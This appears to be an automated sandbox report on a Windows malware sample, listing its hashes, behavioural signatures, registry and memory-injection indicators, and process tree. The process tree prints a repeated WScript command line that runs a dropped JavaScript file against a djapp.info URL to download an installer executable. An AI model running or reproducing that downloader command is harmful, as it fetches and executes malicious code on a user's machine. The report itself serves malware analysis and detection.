Analysis
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max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
12/06/2024, 15:36
Static task
static1
Behavioral task
behavioral1
Sample
a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe
Resource
win10v2004-20240611-en
General
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Target
a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe
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Size
184KB
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MD5
a12d42a1d4d24c89f7287146d2929a98
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SHA1
136aa9eecefdcce737d00792563d252f78da8d8e
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SHA256
16c3e2e5dc5419dbbd2e5c260415e86bafef81cc9875d4572e28494011082dbc
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SHA512
d27400bf802beee14f762ef7c46dd3109339307bf215634b68799f868da86242384301712bd96c2c555e2686d87594efa83402266bce62fea03f841da7f73836
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3k4:/7BSH8zUB+nGESaaRvoB7FJNndnQ
Malware Config
Signatures
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Blocklisted process makes network request 6 IoCs
flow pid Process 4 5092 WScript.exe 22 1204 WScript.exe 23 1204 WScript.exe 25 3564 WScript.exe 37 2536 WScript.exe 39 1376 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000_Classes\Local Settings a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3408 wrote to memory of 5092 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 81 PID 3408 wrote to memory of 5092 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 81 PID 3408 wrote to memory of 5092 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 81 PID 3408 wrote to memory of 1204 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 85 PID 3408 wrote to memory of 1204 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 85 PID 3408 wrote to memory of 1204 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 85 PID 3408 wrote to memory of 3564 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 86 PID 3408 wrote to memory of 3564 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 86 PID 3408 wrote to memory of 3564 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 86 PID 3408 wrote to memory of 2536 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 90 PID 3408 wrote to memory of 2536 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 90 PID 3408 wrote to memory of 2536 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 90 PID 3408 wrote to memory of 1376 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 91 PID 3408 wrote to memory of 1376 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 91 PID 3408 wrote to memory of 1376 3408 a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe 91
Processes
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C:\Users\Admin\AppData\Local\Temp\a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a12d42a1d4d24c89f7287146d2929a98_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3408 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3662.js" http://www.djapp.info/?domain=TJViWWIObK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3662.exe2⤵
- Blocklisted process makes network request
PID:5092
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3662.js" http://www.djapp.info/?domain=TJViWWIObK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3662.exe2⤵
- Blocklisted process makes network request
PID:1204
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3662.js" http://www.djapp.info/?domain=TJViWWIObK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3662.exe2⤵
- Blocklisted process makes network request
PID:3564
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3662.js" http://www.djapp.info/?domain=TJViWWIObK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3662.exe2⤵
- Blocklisted process makes network request
PID:2536
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3662.js" http://www.djapp.info/?domain=TJViWWIObK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3662.exe2⤵
- Blocklisted process makes network request
PID:1376
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76